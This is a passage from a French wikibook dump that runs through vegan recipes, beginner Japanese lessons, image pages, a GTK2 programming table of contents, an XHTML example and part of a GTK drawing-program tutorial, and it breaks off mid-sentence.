avocat * 1 tomate en tranches équivalent à la surface d'une tranche de pain * 2 tranches de pain grillées * 1 tranche de tofu aux fines herbes * huile d'olives * sel ==Préparation== * Faire griller les tranches de pain. * Couper un avocat en deux. Le sortir de sa pelure. Couper cette moitié en quarts. Déposer un quart d'avocat sur chaque tranche de pain. Écraser les quarts d'avocat avec une fourchette et y incorporer un peu d'huile d'olive. * Saler la purée obtenue. * Déposer la tranche de tomate sur une des deux tranches de pain et la tranche de tofu sur l'autre. * Saler les deux moitiés du sandwich, refermer. '''Commentaires''' : # ''pourquoi ne pas se faire un deuxième sandwich avec la moitié d'avocat qui reste''. # ''Les avocats sont murs lorsqu'ils commencent à devenir mou''. Cuisine:Sandwich au beurre d’arachide et à la banane 3446 14953 2005-05-06T15:49:31Z Sarvok 270 ==Ingrédients== * 15mL de beurre d'arachide crémeux (ou croquant) * 1 tranche épaisse de pain multi-grains * 1 petite banane. ==Préparation== * Etaler le beurre d'arachide sur la tranche de pain. * Trancher la banane et placer les rondelles sur le beurre d'arachide. * Couper en deux ou en quatre morceaux. Cuisine:Sauce à l’oignon et au curry 3447 14954 2005-05-06T15:50:21Z Sarvok 270 ==Ingrédients== * 3 oignons hachés * 50cL de bouillon de légumes * 3 cuillères à soupe de farine * 1 cuillère à soupe de curry * huile d’olive. * Sel, poivre ==Préparation== * Blondir les oignons dans l’huile pendant 30 min. * Chauffer 2 cuillères à soupe d’huile dans une casserole, ajouter la farine et faire un roux. * Incorporer petit à petit le bouillon, en remuant sans cesse. Laisser épaissir, ajouter le curry et l’assaisonnement. Mélanger les oignons à la sauce. Cuisine:Sauce blanche 3448 14955 2005-05-06T15:51:48Z Sarvok 270 ==Ingrédients== * 3 cuillères à soupe d’huile * 3 cuillères à soupe de farine * 20cL de bouillon de légumes * 20cL de lait de soja * noix de muscade * sauce de soja * poivre ==Préparation== * Chauffer l’huile dans une casserole, ajouter la farine et faire un roux. * En remuant sans cesse, ajouter le lait de soja en alternance avec le bouillon, pour obtenir une sauce lisse. * Assaisonner avec la sauce de soja, du poivre et de la noix de muscade. Cuisine:Béchamel 3449 22099 2005-09-25T17:01:30Z Guillaumito 46 {{Livre de cuisine}} {{Livre de cuisine}} ==Ingrédients== * 45mL de margarine végétale * 60mL de farine de blé entier * 250mL de [[Cuisine:Lait de Soja|lait de soja]] * muscade * sel, poivre ==Préparation== * Faire fondre la margarine végétale dans une petite casserole. Ajouter la farine et laisser cuire 2 min en remuant. Incorporer graduellement le lait de soja en battant à l’aide d’un fouet. * Assaisonner de sel, de poivre et de muscade, au goût. Cuisine:Sauce aux champignons 3450 14957 2005-05-06T15:59:14Z Sarvok 270 ==Ingrédients== * 2 cuillères à soupe d'huile de tournesol * 4 cuillères à soupe de farine * 0,5L d'eau * 300g de champignons * sel et poivre. ==Préparation== * Coupez les champignons en lamelles et faire revenir à la poêle. * Chauffez à feu doux l'huile de tournesol. Ajoutez la farine et mélanger afin d'obtenir une pâte lisse et épaisse. Versez petit à petit l'eau tout en continuant de remuer. Ajoutez les champignons. Assaisonnez. Cuisine:Sauce de seitan 3452 14958 2005-05-06T16:01:25Z Sarvok 270 ==Ingrédients== * 250g de seitan * 200g de champignons émincés * 4 carottes coupées en rondelles * 1 échalote hachée * 200mL de bouillon de légumes * crème ou lait de soja nature * fécule de maïs * huile d’arachide * sel, poivre. ==Préparation== * Faire rissoler l’échalote dans une cocotte, avec le seitan coupé en lamelles. Ajouter les carottes et les champignons et laisser suer quelques instants. Mouiller avec le bouillon et assaisonner. * Porter à ébullition puis laisser mijoter pendant 30 min. En fin de cuisson, ajouter à la sauce de la crème ou du lait de soja. Si la sauce est trop liquide, prélevez-en un peu et délayez 1 cuillère à soupe bombée de fécule de maïs et ajoutez-en petit à petit à la préparation, jusqu’à obtenir la consistance souhaitée. Livre de Cuisine/Tartes et pizzas/Pizza végétalienne 3453 46286 2006-06-28T11:09:25Z Nicombo 684 [[Catégorie:Tartes et pizzas|Pizza végétalienne]] {{Livre de cuisine}} ==Ingrédients== '''Pâte''' * 250g de farine * 150mL d’eau tiède * 1 sachet de levure boulangère * 2 cuillères à soupe d’huile d’olive * sel '''Sauce tomate''' * tomates, oignons, poivrons * champignons * huile d’olive * sel, poivre et épices '''Légumes''' * maïs * courgettes * tofu grillé * brocolis * tomates en rondelle * ... ==Préparation== * Mettre la farine dans une terrine, y faire un puits et y verser l’eau tiède et la levure. Attendre 10 min que la levure se réhydrate. Ajouter l’huile d’olive et le sel. Mélanger jusqu’à ce que la pâte se décolle des parois. Laisser lever 2 h. dans un endroit tiède. * '''Sauce tomate''' : faire revenir à la poêle tous les ingrédients * '''Légumes''' : pré-cruire à l’eau, à la vapeur ou à la poêle tous les légumes qui composent votre pizza * Etaler la pâte (en choisissant l’épaisseur que vous voulez lui donner) sur une plaque de four ou dans un moule. Ajouter la sauce tomate puis les légumes que vous disposez par-dessus. Faire cuire le tout entre 30 et 45 min à th.6-7 (180 / 210°C). Livre de Cuisine/Tartes et pizzas/Pizza aux poivrons 2 3454 46287 2006-06-28T11:09:45Z Nicombo 684 [[Catégorie:Tartes et pizzas|Pizza aux poivrons 2]] {{Livre de cuisine}} ==Ingrédients== * 250g de pâte à pain * 3 petits poivrons multicolores émincés en lanières * origan, huile d’olive * 1 bouquet de basilic mixé avec de l’huile d’olive et de l’ail ''ou'' 50g de tofu mixé avec du basilic frais, de l’huile d’olive et de l’ail. ==Préparation== * Étendre la pâte dans un moule à pizza huilé. * Rissoler les poivrons dans l’huile. * Étendre sur la pâte le basilic mixé, répartir joliment les poivrons et saupoudrer abondamment d’origan. Procéder de la même manière avec les deux autres fonds de pizza. * Cuire 20 min la pizza à 235°C. Livre de Cuisine/Tartes et pizzas/Pizza au tofu et aux champignons 3455 46288 2006-06-28T11:10:05Z Nicombo 684 [[Catégorie:Tartes et pizzas|Pizza au tofu et aux champignons]] {{Livre de cuisine}} ==Ingrédients== '''Pâte''' * 300g de farine * 2 cuillères à soupe d’huile d’olive * 150mL d’eau tiède * 0,5 sachet de levure, * sel '''Garniture''' * 300g de tomates en morceaux * 150g de [[Cuisine:Tofu|Tofu]] écrasé * 350g de champignons hachés * 6 tomates séchées conservées dans l’huile * 1 cuillères à soupe d’huile d’olive. * origan, sel, poivre ==Préparation== * Quelques hures à l’avance, faire mariner le tofu écrasé avec les tomates aromatisées à l’origan. * Préparer la '''pâte à pizza''' : mélanger tous les ingrédients et pétrir jusqu’à obtenir une masse lisse et élastique. Laisser reposer une bonne heure au chaud, sous un torchon. Faire rissoler les champignons hachés dans l’huile d’olive et réserver. * Étendre la pâte dans une moule à pizza huilé, la napper de tomates au tofu, puis disposer les champignons ainsi que les tomates séchées coupées en morceaux. * Saupoudrer d’origan et cuire 15 min à 220°C (dans un four préchauffé). Livre de Cuisine/Tartes et pizzas/Pizza aux poivrons et au pesto 3456 46289 2006-06-28T11:10:23Z Nicombo 684 [[Catégorie:Tartes et pizzas|Pizza aux poivrons et au pesto]] {{Livre de cuisine}} ==Ingrédients== * 250g de pâte à pain * 3 petits poivrons multicolores émincés en lanières * origan, huile d'olive, 3 cuillère à soupe de pesto (''ou'' 1 bouquet de basilic mixé avec de l'huile d'olive et de l'ail ''ou'' 50g de tofu mixé avec du basilic frais, de l'huile d'olive et de l'ail). ==Préparation== * Etendre la pâte dans un moule à pizza huilé. * Rissoler les poivrons dans l'huile. * Étendre le pesto (ou autres préparations) sur la pâte, répartir les poivrons et saupoudrer abondamment d'origan. Procéder de la même manière avec les deux autres fonds de pizza. Cuire la pizza à 235°C pendant 20 min. Livre de Cuisine/Tartes et pizzas/Pizza Calzone aux aubergines 3457 46285 2006-06-28T11:08:57Z Nicombo 684 [[Catégorie:Tartes et pizzas|Pizza Calzone aux aubergines]] {{Livre de cuisine}} ==Ingrédients== * 250g de pâte à pain * 1 aubergine coupée en petits dés * 1 oignon émincé * 1 gousse d'ail hachée * 50g de tomates séchées * sel, poivre, origan, huile d'olive. ==Préparation== * Placer les dés d'aubergine dans une passoire, les saupoudrer de sel et laisser dégorger. * Rissoler l'oignon et l'ail dans l'huile, leur ajouter l'aubergine (rincée), les tomates séchées coupées en lamelles, ainsi que les épices et laisser mijoter une vingtaine de min. * Couper la pâte en deux portions et étendre chacune d'entre elles au rouleau en deux cercles. * Placer la garniture sur une moitié et rabattre la pâte de manière à enfermer la garniture. * Souder les bords par pression. * Placer les pizzas sur un moule préalablement huilé et cuire 20 min à 235°C. Japonais:Leçon2 3458 42171 2006-05-12T22:54:38Z 82.66.108.129 /* Expressions courantes */ {{En travaux}} [[Japonais:Table des matières|^ Japonais ^]] | [[Japonais:Leçon1|<< Leçon 1]] | Leçon 2 | [[Japonais:Leçon3|Leçon 3 >>]] au programme .. = Leçon 2 = == Introduction == Après une lecon 1 un peu chargée, je vous propose un peu de repos. Dans le sens où je ne vais pas vous apprendre grand-chose, je vais juste consolider ce que j'avais commencé.Alors commençons par ceçi = desu/ja arimasen = desu est un "verbe" un peu à part dans la grammaire japonaise (il n'est même parfois même pas considéré comme un verbe!), on pourait le traduire par ''être'' ou ''avoir''. par exemple : *watashi wa nihonjin desu : je suis japonais *tanaka-san desu : c'est monsieur tanaka *Marc desu : je suis Marc *neko desu : c'est un chat *juuichiji desu : il est 11 heures *korewa jisho desu : concernant le truc la, c'est un dictionnaire *nijuusai desu : j'ai 20 ans *omoshiroi desu : c'est intéressant *koko desu : c'est ici comme on peut le voir, il a beaucoup d'utilisations (rassurez vous on verra la plupart dans les prochaines lecons) .. mais toujours pour indiquer l'état. * le but de ce chapitre est juste de vous montrer à travers les différents exemples que le japonais peut etre un véritable casse-tête si on essaie de faire correspondre exactement au français. je vous montre maintenant la conjugaison de desu <table border="1" cellpadding="2"> <caption>Les Formes en Japonais</caption> {| border="0" align="center" style="border: 1px solid #999; background-color:#FFFFFF" |-align="center" bgcolor="#CCCCCC" ! !affirmatif : !négatif |- |Présent |desu : c'est |ja arimasen : ce n'est pas |-bgcolor="#EFEFEF" |Passé |deshita : c'était |ja arimasen deshita : ce n'était pas </table> == [[Image:Evolution-tasks.png|50 px|exercice]]れんしゅう (Exercices) == Traduire en Francais : * inu(chien) deshita * Furansujin desu * Yamada-san(Mr/Madame yamada) desu * Tanaka-san (Mr/Madame Tanaka) ja arimasen * Oishi(délicieux) desu ne Traduire en japonais : * Je ne suis pas Japonais * C'était pas un Chat(Neko) * C'était intéressant(Omoshiroi) n'est ce pas ? * Êtes-vous Japonais ? = sou desu ne ka yo = Sou desu .. Signfie "oui c'est cela", Si l'on rajoute les particules suivante * か[ka]-- Ah Bon ? vraiment ? Ah Oui ? * ね[ne]-- n'est-ce pas ? * よ[yo]-- Et oui !, et je l'affirme, c'est ce que je pense == れい (Exemples) == - Watashi wa Furansujin desu (je suis francais) - Aa .. Sou desu Ka (ah bon ?) "Sou desu Ka", "sou desu ne" et "sou desu yo" sont typiquement des expressions japonaises. Vous l'entrendrez souvent. petit choc des culture : une des expressions préférée des japonais est "Omoshiroi", qui signifie "interessant", donc si un japonais vous dit: "omoshiroi deshita ne", "c'etait intéressant", cela prouve un réel intérêt et n'est pas péjoratif comme en français. = Expressions courantes = *hajimemashite : Bonjour, enchanté *yoroshiku onegaishimasu : Merci d'avance ("je me recommande a votre bienveillance") *Ohayô gozaimasu : Bonjour (de bon matin) *Konichiwa : Bonjour *Konbanwa : Bonsoir *Arigato gozaimasu : Merci beaucoup *Ogenki desu ka ? : Ça va ? *Genki desu : Ça va *Okage sama de : littéralement, "C'est grace à vous (que je vais bien)", même si l'interlocuteur n'y est pour rien ! Notez qu'il est assez mal vu de répondre autre chose que "Je vais bien", même lorsque le monde s'écroule autour de soi ! = [[Image:Comiclogo.png|50 px|dialogue]] Dialogue = ''mise en situation'' Regardons un peu le dialogue<br /> Essayons de voir un peu de vocabulaire = [[Image:Evolution-tasks.png|50 px|exercice]]れんしゅう (Exercices) = Traduire en français : Traduire en japonais : Si vous êtes capable d'écrire ces phrases, vous pouvez déjà trouver un correspondant japonais. = [[image:あ_教科書体.png|50 px|Ecriture]] Écriture Japonaise = J'espère que vous continuez à apprendre les Hiraganas .. = Fiche vocabulaire = grammaire : *desu/ja arimasen *so desu ne ka yo [[Japonais:Table des matières|^ Japonais ^]] | [[Japonais:Leçon1|<< Leçon 1]] | Leçon 2 | [[Japonais:Leçon3|Leçon 3 >>]] {{Méthode_de_Japonais}} [[Catégorie:Méthode de Japonais]] Japonais:Leçon4 3459 35938 2006-03-04T19:14:17Z 128.178.47.194 /* Aru - Iru */ {{En travaux}} [[Japonais:Table des matières|^ Japonais ^]] | [[Japonais:Leçon3|<< Leçon 3]] | Leçon 4 | [[Japonais:Leçon5|Leçon 5 >>]] = Leçon 4 = == Introduction == On continue par des choses simples. = Aru - Iru = Deux verbes pour traduire "Il y a", ils sont souvent précédés de la particule "ga". Aru est utilisé pour les objets et iru pour les êtres vivants. Aru devient arimasu (n'oubliez pas que le "u" n'est pas prononcé) à la forme du présent poli et iru devient imasu. par exemple : *watashi no neko ga imasu: il y a mon chat. *yama ga arimasu: il y a une montagne. *sakana ga imasen: il n'y a pas de poissons. *hon ga arimasen: il n'y a pas de livres. *inu ga imashita: il y avait un chien. *mori ga arimasen deshita: il n'y avait pas de forêts. == [[Image:Evolution-tasks.png|50 px|exercice]]れんしゅう (Exercices) == Traduire en Francais : *nihonjin ga imasu: ... *sushi ga arimasen: ... *anata no hon ga arimashita: ... Traduire en japonais : *Il y a un américain: ... *Il n'y a pas d'eau: ... *Y a t-il mon chien?: ... [[Japonais:Leçon4:Correction|Voir la correction des exercices]] = Tsumori = "Tsumori" permet d'exprimer l'intention il suit le verbe à l'infinitif et donc termine la phrase. par exemple : *nihon ni ikutsumori: j'ai l'intention d'aller au japon. ("ni" est la particule de cible que nous verrons dans une leçons suivante) *nerutsumori: j'ai l'intention de dormir. *ashita tōkyō ni ikutsumori: demain,j'ai l'intention d'aller à Tōkyō (en français on dirait plutôt "demain j'irais à Tōkyō" même si ce n'est qu'une intention). == [[Image:Evolution-tasks.png|50 px|exercice]]れんしゅう (Exercices) == Traduire en Francais : *taberutsumori: ... *nomutsumori: ... Traduire en japonais : *Il a l'intention de lire: ... *J'ai l'intention de travailler (hataraku= travailler): ... [[Japonais:Leçon4:Correction|Voir la correction des exercices]] = Expression courante = *おやすみ - Oyasumi – bonne nuit. *おやすみなさい - Oyasumi nasai – bonne nuit en plus poli. *おはようございます - Ohayō gozaimasu – version plus polie de bonjour le matin. = [[Image:Comiclogo.png|50 px|dialogue]] Dialogue = Momoko viens d'arriver en ville, elle cherche une forêt, et demande à un passant M. Yoshi si il y a une forêt ici. Regardons un peu le dialogue<br /> *Momoko:Sumimasen. *Yoshi san: Konnichiwa *Momoko: Koko mori ga arimasu ka ? *Yoshi san: Hai. Ashita mori ni ikutsumori. *Momoko:... (la suite ne concerne plus cette leçon) Essayons de voir un peu de vocabulaire *koko= ici *soko= là *asoko= là-bas = [[Image:Evolution-tasks.png|50 px|exercice]]れんしゅう (Exercices) = Traduisez le dialogue ci-dessus. [[Japonais:Leçon4:Correction|Voir la correction des exercices]] = [[image:あ_教科書体.png|50 px|Écriture]] Écriture Japonaise = J'espère que vous continuer à apprendre les Hiraganas, la prochaine leçon en contiendra et cette fois c'est vrai. = Fiche vocabulaire = <div style="float:left; width:50%;"> *Adjectifs: **koko= ici. **soko= là. **asoko= là-bas. </div><div style="float:right; width:50%;"> *Verbes: **aru: il y a (pour les objets). **iru: il y a (pour les êtres vivants). **hataraku: travailler. </div><br clear=all /> *Noms: **yama: une montagne. [[Japonais:Table des matières|^ Japonais ^]] | [[Japonais:Leçon3|<< Leçon 3]] | Leçon 4 | [[Japonais:Leçon5|Leçon 5 >>]] {{Méthode_de_Japonais}} [[Catégorie:Méthode de Japonais]] Image:Godan.png 3460 14966 2005-05-06T18:07:44Z M4RC0 274 icone pour lecon japonais pour le groupe de verbe Godan fait par moi avec inkscap {{GPL}} icone pour lecon japonais pour le groupe de verbe Godan fait par moi avec inkscap {{GPL}} Image:Ichidan.png 3461 14967 2005-05-06T18:08:46Z M4RC0 274 icone pour lecon japonais pour le groupe de verbe ichidan fait par moi avec inkscape {{GPL}} icone pour lecon japonais pour le groupe de verbe ichidan fait par moi avec inkscape {{GPL}} Image:Particule.png 3462 14968 2005-05-06T18:09:48Z M4RC0 274 icone pour lecon japonais pour les particules fait par moi avec inkscape {{GPL}} icone pour lecon japonais pour les particules fait par moi avec inkscape {{GPL}} Programmation GTK2 en C 3464 14969 2005-05-07T11:49:15Z NSV 283 /* Sommaire de ce « livre » */ {{EnTravaux}} === Sommaire de ce « livre » === * [[Programmation GTK plus Introduction|Introduction]] * [[Programmation GTK plus Bien debuter|Bien débuter]] ** [[Programmation GTK plus Bonjour tout le monde en GTK|« Bonjour tout le monde » en GTK]] ** [[Programmation GTK plus Compilation de Bonjour tout le monde|Compilation de « Bonjour tout le monde »]] ** [[Programmation GTK plus Theorie des signaux et des rappels|Théorie des signaux et des rappels]] ** [[Programmation GTK plus Bonjour tout le monde pas a pas|« Bonjour tout le monde » pas à pas]] * [[Programmation GTK plus Continuons|Continuons]] ** [[Programmation GTK plus Types de donnees|Types de données]] ** [[Programmation GTK plus Complements sur les gestionnaires de signaux|Compléments sur les gestionnaires de signaux]] ** [[Programmation GTK plus Un Bonjour tout le monde ameliore|Un « Bonjour tout le monde » amélioré]] * [[Programmation GTK plus Placement des widgets|Placement des widgets]] ** [[Programmation GTK plus Theorie des boites de placement|Théorie des boîtes de placement]] ** [[Programmation GTK plus Details sur les boites|Détails sur les boîtes]] ** [[Programmation GTK plus Programme de demonstration des placements|Programme de démonstration des placements]] ** [[Programmation GTK plus Placement avec les tables|Placement avec les tables]] ** [[Programmation GTK plus Exemple de placement avec table|Exemple de placement avec table]] * [[Programmation GTK plus Vue densemble des widgets|Vue d'ensemble des widgets]] ** [[Programmation GTK plus Conversions de types|Conversions de types]] ** [[Programmation GTK plus La hierarchie des widgets|La hiérarchie des widgets]] ** [[Programmation GTK plus Widgets sans fenetre|Widgets sans fenêtre]] * [[Programmation GTK plus Widgets boutons|Widgets boutons]] ** [[Programmation GTK plus Boutons normaux|Boutons normaux]] ** [[Programmation GTK plus Boutons commutateurs|Boutons commutateurs]] ** [[Programmation GTK plus Cases à cocher|Cases a cocher]] ** [[Programmation GTK plus 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Courbes|Courbes]] * [[Programmation GTK plus Widget EventBox|Widget EventBox]] * [[Programmation GTK plus Configuration des attributs de widget|Configuration des attributs de widget]] * [[Programmation GTK plus Temporisations, fonctions d'E/S et dattente|Temporisations, fonctions d'E/S et d'attente]] ** [[Programmation GTK plus Temporisations|Temporisations]] ** [[Programmation GTK plus Surveillance des ES|Surveillance des E/S]] ** [[Programmation GTK plus Fonctions dattente|Fonctions d'attente]] * [[Programmation GTK plus Gestion des selections|Gestion des sélections]] ** [[Programmation GTK plus Introduction aux selections|Introduction]] ** [[Programmation GTK plus Recuperation de la selection|Récupération de la sélection]] ** [[Programmation GTK plus Fournir la selection|Fournir la sélection]] * [[Programmation GTK plus glib|glib]] ** [[Programmation GTK plus Definitions|Définitions]] ** [[Programmation GTK plus Listes doublement chainees|Listes doublement chaînées]] ** [[Programmation GTK plus Listes simplement chainees|Listes simplement chaînées]] ** [[Programmation GTK plus Gestion de la memoire|Gestion de la mémoire]] ** [[Programmation GTK plus Timers|Timers]] ** [[Programmation GTK plus Gestion des chaines|Gestion des chaînes]] ** [[Programmation GTK plus Utilitaires et fonctions derreurs|Utilitaires et fonctions d'erreurs]] * [[Programmation GTK plus Fichiers rc de GTK|Fichiers rc de GTK]] ** [[Programmation GTK plus Fonctions pour les fichiers rc|Fonctions pour les fichiers rc]] ** [[Programmation GTK plus Format des fichiers rc de GTK|Format des fichiers rc de GTK]] ** [[Programmation GTK plus Exemple de fichier rc|Exemple de fichier rc]] * [[Programmation GTK plus Ecriture de vos propres widgets|Écriture de vos propres widgets]] ** [[Programmation GTK plus Vue densemble|Vue d'ensemble]] ** [[Programmation GTK plus Anatomie dun widget|Anatomie d'un widget]] ** [[Programmation GTK plus Creation dun widget compose|Création d'un widget composé]] ** [[Programmation GTK plus Creation dun widget a partir de zero|Création d'un widget à partir de zéro]] ** [[Programmation GTK plus En savoir plus|En savoir plus]] * [[Programmation GTK plus Scribble un programme simple de dessin|Scribble, un programme simple de dessin]] ** [[Programmation GTK plus Presentation|Présentation]] ** [[Programmation GTK plus Gestion d'evenement|Gestion d'événement]] ** [[Programmation GTK plus Le widget DrawingArea et le dessin|Le widget DrawingArea et le dessin]] ** [[Programmation GTK plus Ajouter le support XInput|Ajouter le support XInput]] * [[Programmation GTK plus Conseils pour lecriture dapplications GTK|Conseils pour l'écriture d'applications GTK]] * [[Programmation GTK plus Contributions|Contributions]] * [[Programmation GTK plus Remerciements|Remerciements]] * [[Programmation GTK plus Copyright|Copyright]] {{Programmation}} Programmation Tk 3465 14970 2005-05-07T10:33:43Z NSV 283 * http://fr.wikipedia.org/wiki/Tk (Définition de Tk sur Wikipédia) {{Programmation}} Programmation XHTML 3466 43757 2006-06-02T12:43:31Z Yanngeffrotin 1600 Création d'un Exemple en XHTML 1.0 Strict XHTML est le successeur de [[Programmation HTML|HTML]]. Il s'agit d'HTML respectant la syntaxe [[Programmation XML|XML]], c'est-à-dire entre autres que : * Toutes les balises doivent être fermés * Les valeurs d'attributs doivent toujours être entre apostrophes ou guillemets * Les balises et attributs sont toujours en minuscule XHTML est une recommandation du W3C. Voir également la page de [[w:Accueil|Wikipédia]] sur [[w:XHTML|XHTML]]. == Exemple XHTML 1.0 Strict == <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" > <!-- Modifié avec SciTE, l'éditeur de texte graphique open source fonctionnant sous les environnements Linux et Windows. --> <!-- en tête du message --> <head> <title>Mettre ici le titre qui apparait dans le navigateur</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <!-- Utlisation d'un CSS externe --> <link rel="stylesheet" media="screen" type="text/css" title="Design coloré" href="styles/exemple.css" /> </head> <!-- corps du message --> <body> <nowiki><p></nowiki> Le code source de cette page est en XHTML 1.0 Valide! <!-- Cette page est en XHTML 1.0 Valide! --> <a href="http://validator.w3.org/check?uri=referer"><img src="http://www.w3.org/Icons/valid-xhtml10" alt="Valid XHTML 1.0 Strict" height="31" width="88" /></a> <nowiki></p></nowiki> </body> </html> {{Programmation}} Programmation GTK plus Ajouter le support XInput 3467 14972 2005-05-07T11:39:46Z NSV 283 Previous Next Table of Contents 20. Scribble, un programme simple de dessin 20.1 Présentation Dans cette section, nous construirons un programme simple de dessin. Ce faisant, nous examinerons comment gérer les événements souris, comment dessiner dans une fenêtre, et comment mieux dessiner en utilisant un pixmap en arrière plan. Après avoir créé ce programme, nous l'étendrons en lui ajoutant le support des périphériques Xinput, comme les tables de tracé. GTK dispose de routines de support qui facilitent beaucoup l'obtention des informations étendues (comme la pression et l'inclinaison du stylet) à partir de tels périphériques. 20.2 Gestion d'événement Les signaux GTK que nous avons déjà vus concernent les actions de haut niveau, comme la sélection d'un choix d'un menu. Cependant, il est quelques fois utile de connaître les cas de bas niveau, comme le déplacement de la souris, ou la pression d'une touche. Il existe aussi des signaux GTK correspondant à ces événements bas niveau. Les gestionnaires de ces signaux ont un paramètre supplémentaire qui est un pointeur vers une structure contenant des informations sur l'événement. Par exemple, les gestionnaires des événements de déplacement recoivent un paramètre vers une structure GdkEventMotion qui ressemble (en partie) à ceci&nbsp: struct _GdkEventMotion { GdkEventType type; GdkWindow *window; guint32 time; gdouble x; gdouble y; ... guint state; ... }; type sera initialisé avec le type de l'événement, ici GDK_MOTION_NOTIFY, window est la fenêtre dans laquelle l'événement est survenu. x et y donnent les coordonnées de l'événement et state spécifie l'état du modificateur lorsque l'événement s'est produit (c'est-à-dire quelles sont les touches de modification et les boutons souris qui ont été pressés). Il s'agit d'un OU bit à bit de l'une des valeurs suivantes&nbsp: GDK_SHIFT_MASK GDK_LOCK_MASK GDK_CONTROL_MASK GDK_MOD1_MASK GDK_MOD2_MASK GDK_MOD3_MASK GDK_MOD4_MASK GDK_MOD5_MASK GDK_BUTTON1_MASK GDK_BUTTON2_MASK GDK_BUTTON3_MASK GDK_BUTTON4_MASK GDK_BUTTON5_MASK Comme pour les autres signaux, on appelle gtk_signal_connect() pour déterminer ce qui se passe lorsqu'un événement survient. Mais nous devons aussi faire en sorte que GTK sache de quels événements nous voulons être avertis. Pour ce faire, on appelle la fonction&nbsp: void gtk_widget_set_events (GtkWidget *widget, gint events); Le deuxième champ spécifie les événements qui nous intéressent. Il s'agit d'un OU bit à bit de constantes qui indiquent différent types d'événements. Pour référence ultérieure, les types d'événements sont&nbsp: GDK_EXPOSURE_MASK GDK_POINTER_MOTION_MASK GDK_POINTER_MOTION_HINT_MASK GDK_BUTTON_MOTION_MASK GDK_BUTTON1_MOTION_MASK GDK_BUTTON2_MOTION_MASK GDK_BUTTON3_MOTION_MASK GDK_BUTTON_PRESS_MASK GDK_BUTTON_RELEASE_MASK GDK_KEY_PRESS_MASK GDK_KEY_RELEASE_MASK GDK_ENTER_NOTIFY_MASK GDK_LEAVE_NOTIFY_MASK GDK_FOCUS_CHANGE_MASK GDK_STRUCTURE_MASK GDK_PROPERTY_CHANGE_MASK GDK_PROXIMITY_IN_MASK GDK_PROXIMITY_OUT_MASK Il y a quelques points subtils qui doivent être observés lorsqu'on appelle gtk_widget_set_events(). D'abord, elle doit être appelée avant que la fenêtre X d'un widget GTK soit créée. En pratique, cela signifie que l'on doit l'appeler immédiatement après avoir créé le widget. Ensuite, le widget doit avoir une fenêtre X associée. Pour des raisons d'efficacité, de nombreux types de widgets n'ont pas de fenêtre propre, mais se dessinent dans la fenêtre de leur parent. Ces widgets sont&nbsp: GtkAlignment GtkArrow GtkBin GtkBox GtkImage GtkItem GtkLabel GtkPaned GtkPixmap GtkScrolledWindow GtkSeparator GtkTable GtkViewport GtkAspectFrame GtkFrame GtkVPaned GtkHPaned GtkVBox GtkHBox GtkVSeparator GtkHSeparator Pour capturer les événements pour ces widgets, on doit utiliser un widget EventBox. Voir la section sur Le widget EventBox pour plus de détails. Pour notre programme de dessin, on veut savoir quand le bouton de la souris est pressé et quand la souris est déplacée, nous indiquons donc GDK_POINTER_MOTION_MASK et GDK_BUTTON_PRESS_MASK. On veut aussi savoir quand il est nécessaire de redessiner notre fenêtre, on indique donc GDK_EXPOSURE_MASK. Bien que nous voulions être avertis via un événement Configure lorsque la taille de notre fenêtre change, on n'a pas besoin de préciser le flag GDK_STRUCTURE_MASK correspondant car il est automatiquement spécifié pour chaque fenêtre. Il arrive cependant qu'il puisse y avoir un problème en indiquant seulement GDK_POINTER_MOTION_MASK. Cela fera que le serveur ajoutera un nouvel événement de déplacement à la file des événements à chaque fois que l'utilisateur déplace la souris. Si cela nous prend 0,1 seconde pour gérer un événement de déplacement, si le serveur X n'ajoute un nouvel événement de déplacement dans la queue que toutes les 0,05 secondes, nous serons vite à la traîne de l'utilisateur. Si l'utilisateur dessine pendant 5 secondes, cela nous prendra 5 secondes de plus pour le traiter après qu'il ait relâché le bouton de la souris ! Ce que l'on voudrait, c'est ne récupérer qu'un événement de déplacement pour chaque événement que l'on traite. Pour cela, il faut préciser GDK_POINTER_MOTION_HINT_MASK. Avec GDK_POINTER_MOTION_HINT_MASK, le serveur nous envoit un événement de déplacement la première fois que la pointeur se déplace après être entré dans la fenêtre, ou après un événement d'appui ou de relâchement d'un bouton. Les événements de déplacement suivants seront supprimés jusqu'à ce que l'on demande explicitement la position du pointeur en utilisant la fonction&nbsp: GdkWindow* gdk_window_get_pointer (GdkWindow *window, gint *x, gint *y, GdkModifierType *mask); (Il existe une autre fonction, gtk_widget_get_pointer() qui possède une interface simple, mais n'est pas très utile car elle ne fait que récupérer la position de la souris et ne se préoccupe pas de savoir si les boutons sont pressés). Le code pour configurer les événements pour notre fenêtre ressemble alors à&nbsp: gtk_signal_connect (GTK_OBJECT (drawing_area), "expose_event", (GtkSignalFunc) expose_event, NULL); gtk_signal_connect (GTK_OBJECT(drawing_area),"configure_event", (GtkSignalFunc) configure_event, NULL); gtk_signal_connect (GTK_OBJECT (drawing_area), "motion_notify_event", (GtkSignalFunc) motion_notify_event, NULL); gtk_signal_connect (GTK_OBJECT (drawing_area), "button_press_event", (GtkSignalFunc) button_press_event, NULL); gtk_widget_set_events (drawing_area, GDK_EXPOSURE_MASK | GDK_LEAVE_NOTIFY_MASK | GDK_BUTTON_PRESS_MASK | GDK_POINTER_MOTION_MASK | GDK_POINTER_MOTION_HINT_MASK); Nous garderons les gestionnaires de "expose_event" et "configure_event" pour plus tard. Les gestionnaires de "motion_notify_event" et "button_press_event" sont très simples&nbsp: static gint button_press_event (GtkWidget *widget, GdkEventButton *event) { if (event->button == 1 && pixmap != NULL) draw_brush (widget, event->x, event->y); return TRUE; } static gint motion_notify_event (GtkWidget *widget, GdkEventMotion *event) { int x, y; GdkModifierType state; if (event->is_hint) gdk_window_get_pointer (event->window, &x, &y, &state); else { x = event->x; y = event->y; state = event->state; } if (state & GDK_BUTTON1_MASK && pixmap != NULL) draw_brush (widget, x, y); return TRUE; } 20.3 Le widget DrawingArea et le dessin Revenons au processus de dessin sur l'écran. Le widget que l'on utilise pour ceci est le widget DrawingArea. Un tel widget est essentiellement une fenêtre X et rien de plus. Il s'agit d'une toile vide sur laquelle nous pouvons dessiner ce que nous voulons. Une zone de dessin est créée avec l'appel&nbsp: GtkWidget* gtk_drawing_area_new (void); Une taille par défaut peut être donnée au widget par l'appel&nbsp: void gtk_drawing_area_size 